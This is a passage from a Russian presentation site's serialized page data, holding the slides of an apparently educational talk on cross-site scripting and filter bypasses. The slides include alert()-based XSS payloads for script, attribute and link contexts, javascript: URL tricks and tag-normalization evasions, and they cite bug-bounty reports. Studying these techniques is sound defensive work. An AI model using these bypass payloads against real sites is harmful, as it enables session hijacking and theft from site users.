тэгов\u003Cbr\u003E\u003Cscript\u003E\u003Cbr\u003Evar name=\"\"\u003E\u003C\u002Ftitle\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\";\u003Cbr\u003E\u003C\u002Fscript\u003E\u003Cbr\u003E\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?name=\"\u003E\u003C\u002Ftitle\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003Cbr\u003E","\u003Cp\u003EXSS: между специфичных тэгов\u003Cbr\u003E\u003Cscript\u003E\u003Cbr\u003Evar name=\"\"\u003E\u003C\u002Fscript\u003E\u003C\u002Ftitle\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\";\u003Cbr\u003E\u003C\u002Fscript\u003E\u003Cbr\u003E\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?name=\"\u003E\u003C\u002Fscript\u003E\u003C\u002Ftitle\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003Cbr\u003E","\u003Cp\u003E\"\u003E\u003C\u002Ftitle\u003E\u003C\u002Fscript\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\r\n\r\n\r\n\r\n\r\n+ \u003C\u002Fstyle\u003E\u003C\u002Fnoscript\u003E\u003C\u002Ftextarea\u003E…(по ситуации)\u003Cbr\u003E","\u003Cp\u003EXSS – Level 2\u003Cbr\u003E","\u003Cp\u003EXSS: особенности HTML\u003Cbr\u003E\u003Cp\u003E\u003Cform action=\"page.php\" method=\"POST\"\u003E\r\n\u003Cinput name=\"name\" value=\"\u003C?php echo($_GET[\"name\"]); ?\u003E\"\u003E!\r\n\u003C\u002Fform\u003E\u003Cbr\u003E","\u003Cp\u003EXSS: особенности HTML\u003Cbr\u003E\u003Cp\u003E\u003Cform action='page.php' method='POST'\u003E\r\n\u003Cinput name='name' value='\u003C?php echo($_GET[\"name\"]); ?\u003E'\u003E!\r\n\u003C\u002Fform\u003E\u003Cbr\u003E",k,"\u003Cp\u003EXSS: внутри значения аттрибута\u003Cbr\u003E\u003Cp\u003E\u003Cform action='page.php' method='POST'\u003E\r\n\u003Cinput name='name' value='\u003C%..UrlParam(\"name\").replaceAll(\"\u003E\",\">\")..%\u003E'\u003E!\r\n\u003C\u002Fform\u003E\u003Cbr\u003E","\u003Cp\u003EXSS: внутри значения аттрибута\u003Cbr\u003E\u003Cp\u003E\u003Cform action='page.php' method='POST'\u003E\r\n\u003Cinput name='name' value=''>\u003Cscript>alert()\u003C\u002Fscript>'\u003E!\r\n\u003C\u002Fform\u003E\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?name='\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003Cbr\u003E","\u003Cp\u003EXSS: внутри значения аттрибута\u003Cbr\u003E\u003Cp\u003E\u003Cform action='page.php' method='POST'\u003E\r\n\u003Cinput name='name' value='' autofocus onfocus='alert();'\u003E!\r\n\u003C\u002Fform\u003E\u003Cbr\u003E\u003Cbr\u003E(autofocus onfocus не будут работать если у инпута type=hidden)\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?name='%20autofocus%20onfocus='alert();\u003Cbr\u003E","\u003Cp\u003EXSS: внутри тэга script\u003Cbr\u003E\u003Cscript\u003E\u003Cbr\u003Evar name=\"\u003C?php echo($_GET[\"name\"]); ?\u003E\";\u003Cbr\u003E\u003C\u002Fscript\u003E\u003Cbr\u003E\u003Cbr\u003E","\u003Cp\u003EXSS: внутри тэга script\u003Cbr\u003E\u003Cscript\u003E\u003Cbr\u003Evar name=\"\"; alert();\u002F\u002F\";\u003Cbr\u003E\u003C\u002Fscript\u003E\u003Cbr\u003E\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?name=\";+alert();\u002F\u002F\u003Cbr\u003E","\u003Cp\u003EXSS: внутри ссылки\u003Cbr\u003E\u003Ca href=\"\u003C?php echo($_GET[\"returnUrl\"]); ?\u003E\"\u003EВернуться\u003C\u002Fa\u003E\u003Cbr\u003E\u003Cbr\u003E",H,"\u003Cp\u003EXSS: внутри ссылки\u003Cbr\u003E\u003Ca href=\" javascript:alert()\"\u003EВернуться\u003C\u002Fa\u003E\u003Cbr\u003E\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?returnUrl=%20javascript:alert()\u003Cbr\u003E\u003Cp\u003EСработает?\u003Cbr\u003E","\u003Cp\u003EXSS: внутри ссылки\u003Cbr\u003E\u003Ca href=\" javascript:alert()\"\u003EВернуться\u003C\u002Fa\u003E\u003Cbr\u003E\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?returnUrl=%20javascript:alert()\u003Cbr\u003E\u003Cp\u003EДА!\u003Cbr\u003E","\u003Cp\u003EXSS: внутри ссылки\u003Cbr\u003E\u003Ca href=\" javascript:alert()\"\u003EВернуться\u003C\u002Fa\u003E\u003Cbr\u003E\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?returnUrl=%09javascript:alert()\u003Cbr\u003E","\u003Cp\u003EXSS на biz.mail.ru\r\nBounty – 500$\r\n\r\nhttps:\u002F\u002Fhackerone.com\u002Freports\u002F268245\r\n\u003Cbr\u003E",a,a,a,H,"\u003Cp\u003EXSS – Level 3\u003Cbr\u003E",k,k,"\u003Cp\u003E'\"\u003E\u003C\u002Ftitle\u003E\u003C\u002Fscript\u003E\u003Ciframe onload='alert``'\u003E\u003Cbr\u003E",a,"\u003Cp\u003E Плюсы iframe:\r\n\r\n 1. Легко заметить, если пейлоад встраивается в страницу, но на onload работают санитайзеры\r\n\r\n 2. Есть волшебный аттрибут srcdoc \u003Cbr\u003E",a,a,"\u003Cp\u003EXSS – Level 1337\u003Cbr\u003E","\u003Cp\u003EПробелы между аттрибутами в тэге могут замениться слэшем\r\n\r\nТэг необязательно закрывать! \u003Ciframe\u002Fonload='alert()'\r\n\r\nЕсть кейс, когда пейлоад попадает между комментом \u003C!-- --\u003E, нужно закрывать и его\r\n\r\n\u003Cbr\u003E","\u003Cp\u003E\r\nFrom:\r\n \r\n'\"\u003E\u003C\u002Ftitle\u003E\u003C\u002Fscript\u003E\u003Ciframe onload='alert``'\u003E\r\n\r\nto:\r\n\r\n'\"\u003E\u003C\u002Ftitle\u002F\u003C\u002Fscript\u002F\u003C\u002Fstyle\u002F--\u003E\u003Ciframe\u002Fonload='alert``'\u003Cbr\u003E","\u003Cp\u003EXSS в личных сообщениях на ...\r\nBounty – 3000$\r\n\r\nhttps:\u002F\u002Fhackerone.com\u002Freports\u002F...\u003Cbr\u003E","\u003Cp\u003EОбрезали все, что подходит под паттерн \"\u003C…\u003E\"\r\n\r\nНо незакрытый тэг нормализуется всеми современными браузерами в закрытый!\u003Cbr\u003E","\u003Cp\u003E\u003Ciframe\u002Fonload='alert()'\u003Cbr\u003E","\u003Cp\u003E+ Bonus\u003Cbr\u003E","\u003Cp\u003EBack to redirect XSS \u003Cbr\u003E\u003Ca href=\"javascript:alert()\"\u003EВернуться\u003C\u002Fa\u003E\u003Cbr\u003E\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?returnUrl=javascript:alert()\u003Cbr\u003E","\u003Cp\u003EМожет быть требовать формат URL:\u003Cbr\u003Eprotocol:\u002F\u002Fhost:port\u002F... ?\u003Cbr\u003E\u003Cp\u003EРазработчик\u003Cbr\u003E","\u003Cp\u003EBack to redirect XSS \u003Cbr\u003E\u003Ca href=\"javascript:\u002F\u002Fqwe.com\u002F%0aalert()\"\u003EВернуться\u003C\u002Fa\u003E\u003Cbr\u003E\u003Cbr\u003E",a,"\u003Cp\u003EА может быть тогда просто запретить слово javascript в урле?\u003Cbr\u003E\u003Cp\u003EРазработчик\u003Cbr\u003E","\u003Cp\u003EBack to redirect XSS \u003Cbr\u003E\u003Cp\u003E\u003Ca href=\"javascript&colon;\u002F\u002Fqwe.com\u002F%0aalert()\"\u003EВернуться\u003C\u002Fa\u003E\u003Cbr\u003E","\u003Cp\u003EНу, тогда я буду требовать, чтобы ссылка начиналась на http(s) или на \u002F\u003Cbr\u003E\u003Cp\u003EРазработчик\u003Cbr\u003E","\u003Cp\u003EВаня\u003Cbr\u003E\u003Cp\u003E@Ivan_Rumak\u003Cbr\u003E\u003Cp\u003Erumak@skbkontur.ru\u003Cbr\u003E"],href:"\u002Falgebra\u002Fxss-crosssite-scripting",href_category:"\u002Falgebra",date:1662417063,related:[{id:1452237,name:"лекция_4_2019_20",href:"\u002Falgebra\u002Flekciya-4-2019-20",jpg:"jpg\u002F1452237"},{id:1221587,name:"Недействительность сделки, совершенной под влиянием заблуждения",href:"\u002Falgebra\u002Fnedejstvitelnost-sdelki--sovershennoj-pod-vliyaniem-zabluzhdeniya",jpg:"jpg\u002F1221587"},{id:1350005,name:"Основные понятия о государстве и политической системе",href:"\u002Falgebra\u002Fosnovnye-ponyatiya-o-gosudarstve-i-politicheskoj-sisteme",jpg:"jpg\u002F1350005"},{id:1308680,name:"Понятие и структура правовой системы ",href:"\u002Falgebra\u002Fponyatie-i-struktura-pravovoj-sistemy",jpg:"jpg\u002F1308680"},{id:1255212,name:" \r\n Развитие маркетинга в Китае Подготовила: Клеутина Светлана ДС_01 ",href:"\u002Falgebra\u002Fprezentaciya-quotrazvitie-marketinga-v-kitaequot--skachat-prezentacii-po-ekonomike",jpg:"jpg\u002F1255212"},{id:1363073,name:"Boża Matka",href:"\u002Falgebra\u002Fbo-a-matka",jpg:"jpg\u002F1363073"},{id:1364127,name:"Бағдарламалау технологиясының тарихи аспектісі. Негізгі түсініктер мен анықтамалар",href:"\u002Falgebra\u002Fba-darlamalau-tehnologiyasyny-tarihi-aspekt-s-neg-zg-t-s-n-kter-men-any-tamalar",jpg:"jpg\u002F1364127"},{id:1380065,name:"Phase structure of competitive activity of the athlete",href:"\u002Falgebra\u002Fphase-structure-of-competitive-activity-of-the-athlete",jpg:"jpg\u002F1380065"},{id:1298076,name:"Кейс «Тайленол» на основе материалов Effie Awards",href:"\u002Falgebra\u002Fkejs-tajlenol-na-osnove-materialov-effie-awards",jpg:"jpg\u002F1298076"},{id:1326465,name:"Анализ основных достижений ученых досоветского периода",href:"\u002Falgebra\u002Fanaliz-osnovnyx-dostizhenij-uchenyx-dosovetskogo-perioda",jpg:"jpg\u002F1326465"},{id:1348185,name:"Барокко",href:"\u002Falgebra\u002Fbarokko-4",jpg:"jpg\u002F1348185"},{id:1453906,name:".1_Аналгезирующие средства",href:"\u002Falgebra\u002F1-analgeziruyushhie-sredstva",jpg:"jpg\u002F1453906"},{id:1199701,name:"Проект « Профессии наших родителей» УЧЕНИКОВ 4 Б МОУ «ЛИЦЕЙ № 13»",href:"\u002Falgebra\u002Fproekt--professii-nashix-roditelej-uchenikov-4-b-mou-licej--13",jpg:"jpg\u002F1199701"},{id:1334197,name:"Эдом",href:"\u002Falgebra\u002Fedom",jpg:"jpg\u002F1334197"},{id:1473212,name:"Правила проектирования печатных плат",href:"\u002Falgebra\u002Fpravila-proektirovaniya-pechatnyx-plat",jpg:"jpg\u002F1473212"},{id:1367085,name:"Символы христианства. Богослужебная утварь",href:"\u002Falgebra\u002Fsimvoly-xristianstva-bogosluzhebnaya-utvar",jpg:"jpg\u002F1367085"},{id:1302513,name:"Понятие уголовной ответственности",href:"\u002Falgebra\u002Fponyatie-ugolovnoj-otvetstvennosti",jpg:"jpg\u002F1302513"},{id:1474660,name:"Введение в инженерный анализ методом конечных элементов. Реализация в Solid Edge Simulation\u002FExpress",href:"\u002Falgebra\u002Fvvedenie-v-inzhenernyj-analiz-metodom-konechnyx-elementov-realizaciya-v-solid-edge-simulationexpress",jpg:"jpg\u002F1474660"},{id:1408477,name:"Форма государственного устройства",href:"\u002Falgebra\u002Fforma-gosudarstvennogo-ustrojstva-2",jpg:"jpg\u002F1408477"},{id:1333343,name:"Портал недвижимости для собственников и профессионалов Primarkt.Ru",href:"\u002Falgebra\u002Fportal-nedvizhimosti-dlya-sobstvennikov-i-professionalov-primarktru",jpg:"jpg\u002F1333343"},{id:1370919,name:"Минимизация логических функций",href:"\u002Falgebra\u002Fminimizaciya-logicheskix-funkcij-2",jpg:"jpg\u002F1370919"},{id:1360208,name:"Оздоровительный проект «Черлидинг- детям»",href:"\u002Falgebra\u002Fozdorovitelnyj-proekt-cherliding-detyam",jpg:"jpg\u002F1360208"},{id:1304734,name:"Свёртывание крови ",href:"\u002Falgebra\u002Fsvyortyvanie-krovi",jpg:"jpg\u002F1304734"},{id:1337228,name:"Аудармашының заңды статусы",href:"\u002Falgebra\u002Faudarmashyny-za-dy-statusy",jpg:"jpg\u002F1337228"},{id:1144570,name:"ДРОФА И СТРЕПЕТ, занесённые в Красную книгу Саратовской области. Учебная презентация учащихся 4 класса МОУ «СОШ с.Багаевка»: Михее",href:"\u002Falgebra\u002Fdrofa-i-strepet--zanesyonnye-v-krasnuyu-knigu-saratovskoj-oblasti-uchebnaya-prezentaciya-uchashhixsya-4-klassa-mou-sosh-sbagaevka-mixee%d0",jpg:"jpg\u002F1144570"},{id:1148404,name:"Презентация на тему \"Родительские директивы\" - скачать презентации по Педагогике",href:"\u002Falgebra\u002F19676-prezentaciya-na-temu-quotroditelskie-direktivyquot--skachat-prezentacii-po-pedagogike",jpg:"jpg\u002F1148404"},{id:1341318,name:"Стоматологиядағы менеджмент және маркетинг негіздері",href:"\u002Falgebra\u002Fstomatologiyada-y-menedghment-gh-ne-marketing-neg-zder-",jpg:"jpg\u002F1341318"},{id:1484193,name:"Организационный контекст: стратегия, структура и культура. Лекция 3",href:"\u002Falgebra\u002Forganizacionnyj-kontekst-strategiya-struktura-i-kultura-lekciya-3-",jpg:"jpg\u002F1484193"}],navigation:{next:"\u002Frusskiy-yazyk\u002Fslovarnyj-urok-7-klass",next_name:"Словарный урок. 7 класс",prev:"\u002Falgebra\u002Fchelovek-v-religioznyx-tradiciyax-mira-1",prev_name:"Человек в религиозных традициях мира"}}},categories:{result:[{id:I,ordering:b,name:"Разное",pseudoname:"uncategorized"},{id:144,ordering:b,name:"Бизнес и предпринимательство",pseudoname:"biznes-i-predprinimatelstvo"},{id:146,ordering:b,name:"Образование",pseudoname:"obrazovanie"},{id:149,ordering:b,name:"Финансы",pseudoname:"finansy"},{id:150,ordering:b,name:"Государство",pseudoname:"gosudarstvo"},{id:152,ordering:b,name:"Спорт",pseudoname:"sport"},{id:154,ordering:b,name:"Армия",pseudoname:"armiya"},{id:156,ordering:b,name:"Культурология",pseudoname:"kulturologiya"},{id:157,ordering:b,name:"Еда и кулинария",pseudoname:"eda-i-kulinariya"},{id:158,ordering:b,name:"Лингвистика",pseudoname:"lingvistika"},{id:163,ordering:b,name:"Черчение",pseudoname:"cherchenie"},{id:166,ordering:b,name:"Психология",pseudoname:"psihologiya"},{id:116,ordering:I,name:"Английский язык",pseudoname:"angliyskiy-yazyk"},{id:108,ordering:2,name:"Астрономия",pseudoname:"astronomiya"},{id:106,ordering:4,name:"Биология",pseudoname:"biologiya"},{id:142,ordering:5,name:"География",pseudoname:"geografiya"},{id:123,ordering:7,name:"Детские презентации",pseudoname:"detskie-prezentatsii"},{id:107,ordering:8,name:"Информатика",pseudoname:"informatika"},{id:109,ordering:9,name:"История",pseudoname:"istoriya"},{id:139,ordering:10,name:"Литература",pseudoname:"literatura"},{id:119,ordering:h,name:"Маркетинг",pseudoname:"marketing"},{id:114,ordering:12,name:"Математика",pseudoname:"matematika"},{id:138,ordering:13,name:"Медицина",pseudoname:"medetsina"},{id:118,ordering:14,name:"Менеджмент",pseudoname:"menedzhment"},{id:137,ordering:15,name:"Музыка",pseudoname:"muzyka"},{id:136,ordering:16,name:"МХК",pseudoname:"mhk"},{id:130,ordering:17,name:"Немецкий язык",pseudoname:"nemetskiy-yazyk"},{id:105,ordering:18,name:"ОБЖ",pseudoname:"obzh"},{id:133,ordering:19,name:"Обществознание ",pseudoname:"obshchestvoznanie"},{id:132,ordering:20,name:"Окружающий мир ",pseudoname:"okruzhayushchiy-mir"},{id:131,ordering:21,name:"Педагогика ",pseudoname:"pedagogika"},{id:129,ordering:22,name:"Русский язык",pseudoname:"russkiy-yazyk"},{id:128,ordering:24,name:"Технология",pseudoname:"tehnologiya"},{id:127,ordering:25,name:"Физика",pseudoname:"fizika"},{id:126,ordering:26,name:"Философия",pseudoname:"filosofiya"},{id:125,ordering:27,name:"Химия",pseudoname:"himiya"},{id:124,ordering:29,name:"Экология",pseudoname:"ekologiya"},{id:121,ordering:30,name:"Экономика",pseudoname:"ekonomika"},{id:120,ordering:31,name:"Юриспруденция",pseudoname:"yurisprudentsiya"}]}},state:{},_errors:{},serverRendered:d,config:{public:{SITE_NAME:J,SITE_HOST:"vseprezentacii.com",SITE_LANG:K,API_BASE_URL:"https:\u002F\u002Fvseprezentacii.com\u002Fapi\u002F",pwaManifest:{name:J,short_name:a,description:a,lang:K,start_url:"\u002F?standalone=true",display:"standalone",background_color:j,theme_color:"#000000",icons:[{src:"\u002F_nuxt\u002Ficons\u002F64x64.6bbe8d3f.png",type:c,sizes:L,purpose:f},{src:"\u002F_nuxt\u002Ficons\u002F64x64.maskable.6bbe8d3f.png",type:c,sizes:L,purpose:g},{src:"\u002F_nuxt\u002Ficons\u002F120x120.6bbe8d3f.png",type:c,sizes:M,purpose:f},{src:"\u002F_nuxt\u002Ficons\u002F120x120.maskable.6bbe8d3f.png",type:c,sizes:M,purpose:g},{src:"\u002F_nuxt\u002Ficons\u002F144x144.6bbe8d3f.png",type:c,sizes:N,purpose:f},{src:"\u002F_nuxt\u002Ficons\u002F144x144.maskable.6bbe8d3f.png",type:c,sizes:N,purpose:g},{src:"\u002F_nuxt\u002Ficons\u002F152x152.6bbe8d3f.png",type:c,sizes:O,purpose:f},{src:"\u002F_nuxt\u002Ficons\u002F152x152.maskable.6bbe8d3f.png",type:c,sizes:O,purpose:g},{src:"\u002F_nuxt\u002Ficons\u002F192x192.6bbe8d3f.png",type:c,sizes:P,purpose:f},{src:"\u002F_nuxt\u002Ficons\u002F192x192.maskable.6bbe8d3f.png",type:c,sizes:P,purpose:g},{src:"\u002F_nuxt\u002Ficons\u002F384x384.6bbe8d3f.png",type:c,sizes:Q,purpose:f},{src:"\u002F_nuxt\u002Ficons\u002F384x384.maskable.6bbe8d3f.png",type:c,sizes:Q,purpose:g},{src:"\u002F_nuxt\u002Ficons\u002F512x512.6bbe8d3f.png",type:c,sizes:R,purpose:f},{src:"\u002F_nuxt\u002Ficons\u002F512x512.maskable.6bbe8d3f.png",type:c,sizes:R,purpose:g}]},yandexMetrika:{id:"94843251",metrikaUrl:"https:\u002F\u002Fmc.yandex.ru\u002Fmetrika\u002Ftag.js",accurateTrackBounce:d,childIframe:e,clickmap:e,defer:e,useRuntimeConfig:d,trackHash:e,trackLinks:d,type:b,webvisor:e,triggerEvent:e,consoleLog:d,partytown:e,isDev:e}},app:{baseURL:"\u002F",buildAssetsDir:"\u002F_nuxt\u002F",cdnURL:a}},pinia:{app:{meta:{h1:l,main_text:a,main_title:m,main_description:n,main_keywords:o,main_image:a},app:{logo_image:a,logo_image_width:p,logo_image_height:q,logo_text:r,image_width_full:s,image_width_min:t,recaptcha_key:u,yandex_search:v,ya_context:d,banner_1:a,banner_2:a,banner_3:a,banner_4:a,banner_5:a,banner_6:a,banner_7:a,banner_8:a,banner_9:a,banner_10:a,email:w,footer_before:x,footer:y,dark_theme:d,strategy:{image_alt_words:h,item_slide_header:z,item_images:A,item_images_tag:i,item_words_h3:d,item_words_tag:i,item_words_1:h,routing:B,item_slide_skipping:C,item_download_timeout:D},colors:{header_text:j,header_bg:E,accent:F}},social:G,token:a}}}}("",0,"image\u002Fpng",true,false,"any","maskable",11,"h2","#ffffff","\u003Cp\u003E'\"\u003E\u003C\u002Ftitle\u003E\u003C\u002Fscript\u003E\u003Cscript\u003Ealert()\u003C\u002Fscript\u003E\u003Cbr\u003E","Презентации, проекты в PowerPoint","Презентации в PowerPoint","Презентации, проекты, доклады в PowerPoint ","Презентация, на тему, урок, класс, PowerPoint, скачати презентацію, фон, шаблон, доклад, проект, скачать",28,32,"VsePrezentacii.com",720,480,"6LdGr9gnAAAAAKdcDqFL5n46upSHwwYHs5ccQSJh","3212391","abusetheslide@ya.ru","Вы можете прислать нам Вашу презентацию и мы опубликуем ее на сайте.","\u003Ca href=\"\u002Fpage\u002Fdlyapravoobladatelei\"\u003EДля правообладателей\u003C\u002Fa\u003E","div","images_before","category","both",77,"#333333","#8a8888","\u003Cscript src=\"\u002F\u002Fyastatic.net\u002Fes5-shims\u002F0.0.2\u002Fes5-shims.min.js\"\u003E\u003C\u002Fscript\u003E\r\n\u003Cscript src=\"\u002F\u002Fyastatic.net\u002Fshare2\u002Fshare.js\"\u003E\u003C\u002Fscript\u003E\r\n\u003Cdiv class=\"ya-share2\" data-services=\"collections,gplus,vkontakte,facebook,odnoklassniki,gplus,twitter,moimir\" data-counter=\"\"\u003E\u003C\u002Fdiv\u003E","\u003Cp\u003EXSS: внутри ссылки\u003Cbr\u003E\u003Ca href=\"javascript:alert()\"\u003EВернуться\u003C\u002Fa\u003E\u003Cbr\u003E\u003Cbr\u003E\u003Cp\u003E\u002Fpage.php?returnUrl=javascript:alert()\u003Cbr\u003E",1,"VsePrezentacii","ru","64x64","120x120","144x144","152x152","192x192","384x384","512x512"))</script><script type="module" src="/_nuxt/entry.08fba208.js" crossorigin></script></body> </html>